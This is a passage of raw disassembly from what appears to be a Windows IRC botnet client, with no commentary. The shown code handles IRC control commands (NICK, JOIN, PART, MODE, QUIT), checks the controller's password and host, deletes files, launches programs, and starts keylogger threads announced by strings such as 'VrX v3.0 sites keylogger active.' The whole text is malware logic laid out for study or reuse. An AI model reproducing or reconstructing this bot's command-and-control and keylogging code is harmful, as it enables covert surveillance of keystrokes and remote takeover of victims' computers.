cmp eax, 400h
pop ecx
jge loc_409644
loc_4088B1: ; CODE XREF: sub_401ACD+789Bj
lea eax, [ebp+var_2C4]
push eax
push offset aS ; "%s\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_4088DA: ; CODE XREF: sub_401ACD+488Fj
; sub_401ACD+48A6j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
push offset aJoinSS_0 ; "JOIN %s %s"
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 14h
jmp short loc_408897
; ---------------------------------------------------------------------------
loc_408900: ; CODE XREF: sub_401ACD+4861j
; sub_401ACD+4878j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset aS ; "%s\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_42A2C0
loc_408967: ; CODE XREF: sub_401ACD+6F24j
; sub_401ACD+6F92j ...
call sub_415DAC
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_408971: ; CODE XREF: sub_401ACD+4833j
; sub_401ACD+484Aj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089A2
push esi
lea eax, [ebp+var_2C4]
push offset aModeS ; "MODE %s"
push eax
call sub_41C266
add esp, 0Ch
loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset aS ; "%s\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A29C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_4089F6: ; CODE XREF: sub_401ACD+4805j
; sub_401ACD+481Cj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push esi
push offset aS ; "%s\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A280
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408A64: ; CODE XREF: sub_401ACD+47D7j
; sub_401ACD+47EEj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_42A258
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_408A9E: ; CODE XREF: sub_401ACD+47A9j
; sub_401ACD+47C0j
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
push [ebp+arg_18]
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_409823
push edi
call sub_41C159
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_427080 ; Sleep
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
push offset dword_42A238
call sub_415D38
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_408B04: ; CODE XREF: sub_401ACD+477Bj
; sub_401ACD+4792j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A968
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409869
add esp, 20h
push esi
push edi
push offset unk_42A21C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408B6D: ; CODE XREF: sub_401ACD+474Dj
; sub_401ACD+4764j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409869
add esp, 14h
push esi
push edi
push offset unk_42A200
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408BBE: ; CODE XREF: sub_401ACD+471Fj
; sub_401ACD+4736j
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
push eax
push edi
call sub_415C40
pop ecx
pop ecx
push edi
push offset unk_42A1E4
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401ACD+46F1j
; sub_401ACD+4708j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418A2E
loc_408C05: ; CODE XREF: sub_401ACD+25ECj
add esp, 14h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401ACD+46B1j
; sub_401ACD+46C8j
push edi
push [ebp+arg_1C]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz loc_409644
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408CB1
push esi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push edi
push offset unk_42A1C0
push eax
call sub_41C266
add esp, 10h
inc [ebp+arg_24]
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408C99: ; CODE XREF: sub_401ACD+7171j
lea eax, [ebp+var_2C4]
push offset unk_42A190
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_401ACD+715Cj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A178
push 200h
push eax
call sub_41C360
add esp, 10h
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CFB: ; CODE XREF: sub_401ACD+4434j
; sub_401ACD+444Bj
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408D08: ; CODE XREF: sub_401ACD+103Cj
; sub_401ACD+108Fj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B648
add esp, 20h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_401ACD+4406j
; sub_401ACD+441Dj
push 23h
call sub_40B602
test eax, eax
pop ecx
jle short loc_408D3A
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: sub_401ACD+7261j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DB9
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D9D
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408D9D
mov esi, [ebp+var_88]
loc_408D9D: ; CODE XREF: sub_401ACD+72B2j
; sub_401ACD+72C8j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408E0F
; ---------------------------------------------------------------------------
loc_408DB9: ; CODE XREF: sub_401ACD+729Dj
push edi
push offset aNormal_0 ; "normal"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_408E97
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408DF5
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DF5
mov esi, [ebp+var_88]
loc_408DF5: ; CODE XREF: sub_401ACD+730Aj
; sub_401ACD+7320j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408E0F: ; CODE XREF: sub_401ACD+72EAj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push ebx
push 23h
push eax
call sub_40B3BA
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_4126A7
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408E7A
loc_408E64: ; CODE XREF: sub_401ACD+73ABj
cmp [ebp+var_A04], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_408E64
; ---------------------------------------------------------------------------
loc_408E7A: ; CODE XREF: sub_401ACD+7395j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
loc_408E86: ; CODE XREF: sub_401ACD+20F8j
; sub_401ACD+2E94j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_408E97: ; CODE XREF: sub_401ACD+72FBj
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408EA1: ; CODE XREF: sub_401ACD+4065j
; sub_401ACD+407Cj
push offset aR ; "r"
push edi
call sub_41BEA2
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F0D
mov ebx, 200h
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 0Ch
loc_408ECA: ; CODE XREF: sub_401ACD+742Cj
test eax, eax
jz short loc_408EFB
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 20h
jmp short loc_408ECA
; ---------------------------------------------------------------------------
loc_408EFB: ; CODE XREF: sub_401ACD+73FFj
push esi
call sub_41BA3B
pop ecx
push edi
push offset unk_42A0A4
jmp loc_409091
; ---------------------------------------------------------------------------
loc_408F0D: ; CODE XREF: sub_401ACD+73E5j
push edi
push offset unk_42A084
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408F18: ; CODE XREF: sub_401ACD+4037j
; sub_401ACD+404Ej
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push offset asc_42A080 ; "\n"
push esi
call sub_41C8A0
push esi
call sub_419F9D
add esp, 0Ch
test eax, eax
jnz short loc_408F55
push offset unk_42A054
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F55: ; CODE XREF: sub_401ACD+747Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A03C
push eax
call sub_41C266
add esp, 0Ch
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408F6F: ; CODE XREF: sub_401ACD+4009j
; sub_401ACD+4020j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409644
push eax
call sub_41875E
test eax, eax
pop ecx
jnz short loc_408F9D
push offset unk_42A01C
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F9D: ; CODE XREF: sub_401ACD+74C7j
push offset dword_42A000
loc_408FA2: ; CODE XREF: sub_401ACD+7486j
; sub_401ACD+74CEj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408678
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj
; sub_401ACD+3FF2j
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_408FE4
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_408FE4: ; CODE XREF: sub_401ACD+7503j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_429FE8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B302
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_409085
loc_40906F: ; CODE XREF: sub_401ACD+75B6j
cmp [ebp+var_1EF8], ebx
jnz loc_406C1F
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40906F
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+75A0j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_429FA8
loc_409091: ; CODE XREF: sub_401ACD+298Bj
; sub_401ACD+743Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+3FADj
; sub_401ACD+3FC4j
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_41036B
add esp, 10h
push edi
push offset dword_429F90
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj
; sub_401ACD+3F96j
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1D38]
push edi
push offset aS_8 ; "%s"
push eax
call sub_41C266
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset sub_4161C1
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40918A: ; CODE XREF: sub_401ACD+76D1j
cmp [ebp+var_1BA4], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40918A
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_401ACD+3F51j
; sub_401ACD+3F68j
push edi
call ds:dword_427088 ; DeleteFileA
test eax, eax
jz short loc_4091C7
push edi
push offset dword_429F50
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_40929A
; ---------------------------------------------------------------------------
loc_4091C7: ; CODE XREF: sub_401ACD+76DCj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
jmp loc_403EED
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_401ACD+3F23j
; sub_401ACD+3F3Aj
push edi
call sub_41C159
push eax
call sub_419F16
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4091F5
push offset unk_429F2C
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_401ACD+771Fj
push offset unk_429EFC
loc_4091FA: ; CODE XREF: sub_401ACD+7726j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C22
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: sub_401ACD+3EF5j
; sub_401ACD+3F0Cj
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419C09
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409255
push offset unk_429EDC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409255: ; CODE XREF: sub_401ACD+777Cj
push offset unk_429EAC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40925F: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDEj
push edi
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092A2
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, ebx
jz short loc_4092BD
push dword ptr [eax]
loc_409288: ; CODE XREF: sub_401ACD+77EEj
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E8C
push eax
call sub_41C266
loc_40929A: ; CODE XREF: sub_401ACD+76F5j
add esp, 10h
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_4092A2: ; CODE XREF: sub_401ACD+77A2j
push edi
call dword_4CBA58 ; gethostbyname
cmp eax, ebx
jz short loc_4092BD
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CBA60 ; inet_ntoa
push eax
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_4092BD: ; CODE XREF: sub_401ACD+77B7j
; sub_401ACD+77DEj
push offset unk_429E64
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_401ACD+3E99j
; sub_401ACD+3EB0j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BFD0
add esp, 0Ch
push edi
push offset unk_429E40
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj
; sub_401ACD+3E82j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
jz short loc_409300
push offset unk_429E20
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_401ACD+7827j
push offset unk_429DFC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj
; sub_401ACD+3E54j
mov al, [edi]
mov byte_429094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DD8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj
; sub_401ACD+3E26j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4088B1
; ---------------------------------------------------------------------------
loc_40936D: ; CODE XREF: sub_401ACD+3DE1j
; sub_401ACD+3DF8j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_401F75
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_401F75
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
pop ecx
pop ecx
push 1F4h
call ds:dword_427080 ; Sleep
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call dword_4CBA6C ; closesocket
push [ebp+var_10]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E924[eax]
call ds:dword_4270B4 ; TerminateThread
push edi
call sub_41C159
imul eax, 234h
push edi
mov dword_43E924[eax], ebx
call sub_41C159
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E710[eax], bl
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409418: ; CODE XREF: sub_401ACD+3DB3j
; sub_401ACD+3DCAj
push edi
push offset aAll ; "all"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_409447
call sub_40B583
cmp eax, ebx
jle short loc_40943D
push eax
push offset unk_429DAC
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401ACD+7963j
push offset unk_429D84
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_409447: ; CODE XREF: sub_401ACD+795Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F75
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_409463: ; CODE XREF: sub_401ACD+7A07j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401F75
push esi
call sub_41C159
push eax
call sub_40B4F5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40948A
push offset unk_429D60
jmp short loc_40948F
; ---------------------------------------------------------------------------
loc_40948A: ; CODE XREF: sub_401ACD+79B4j
push offset unk_429D34
loc_40948F: ; CODE XREF: sub_401ACD+79BBj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094BF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4094BF: ; CODE XREF: sub_401ACD+79D4j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409463
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4094DB: ; CODE XREF: sub_401ACD+3D85j
; sub_401ACD+3D9Cj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset aS ; "%s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_429D1C
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409515: ; CODE XREF: sub_401ACD+3D57j
; sub_401ACD+3D6Ej
push edi
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CFC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409531: ; CODE XREF: sub_401ACD+3D29j
; sub_401ACD+3D40j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push edi
push offset unk_429CDC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: sub_401ACD+3CFBj
; sub_401ACD+3D12j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CB8
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409570: ; CODE XREF: sub_401ACD+3123j
; sub_401ACD+313Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C98
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
loc_4095A6: ; CODE XREF: sub_401ACD+7B23j
push eax
call ds:dword_427080 ; Sleep
loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj
xor eax, eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4095B4: ; CODE XREF: sub_401ACD+30F5j
; sub_401ACD+310Cj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C70
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
imul eax, 3E8h
jmp short loc_4095A6
; ---------------------------------------------------------------------------
loc_4095F2: ; CODE XREF: sub_401ACD+EADj
; sub_401ACD+EC2j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40AE84
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C4C
loc_40963D: ; CODE XREF: sub_401ACD+6FCCj
; sub_401ACD+75F1j ...
call sub_415DAC
pop ecx
loc_409643: ; CODE XREF: sub_401ACD+6BD8j
pop ecx
loc_409644: ; CODE XREF: sub_401ACD+63Dj
; sub_401ACD+649j ...
mov eax, [ebp+arg_24]
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401ACD+A98j
; sub_401ACD+AADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F75
cmp [ebp+var_A4], ebx
jnz loc_401F75
push offset asc_42CDBC ; "!"
push [ebp+var_90]
call sub_41CAD4
mov esi, eax
push offset word_4CB88C
push ebx
inc esi
call sub_41CAD4
push offset asc_429C48 ; "~"
push eax
call sub_41CAD4
push [ebp+arg_20]
mov edi, eax
push offset aCool ; "cool"
call sub_41CA50
add esp, 20h
test eax, eax
jz short loc_4096EB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429BC8
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj
mov [ebp+arg_24], offset off_42915C
loc_4096F2: ; CODE XREF: sub_401ACD+7C41j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_409752
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429160
jb short loc_4096F2
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429B74
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_409752: ; CODE XREF: sub_401ACD+7C34j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409757: ; CODE XREF: sub_401ACD+7CB4j
cmp [ebp+arg_20], ebx
jz loc_401F75
cmp [edi], bl
jnz short loc_409777
push [ebp+arg_20]
push offset aCool ; "cool"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_409788
loc_409777: ; CODE XREF: sub_401ACD+7C95j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409757
jmp loc_401F75
; ---------------------------------------------------------------------------
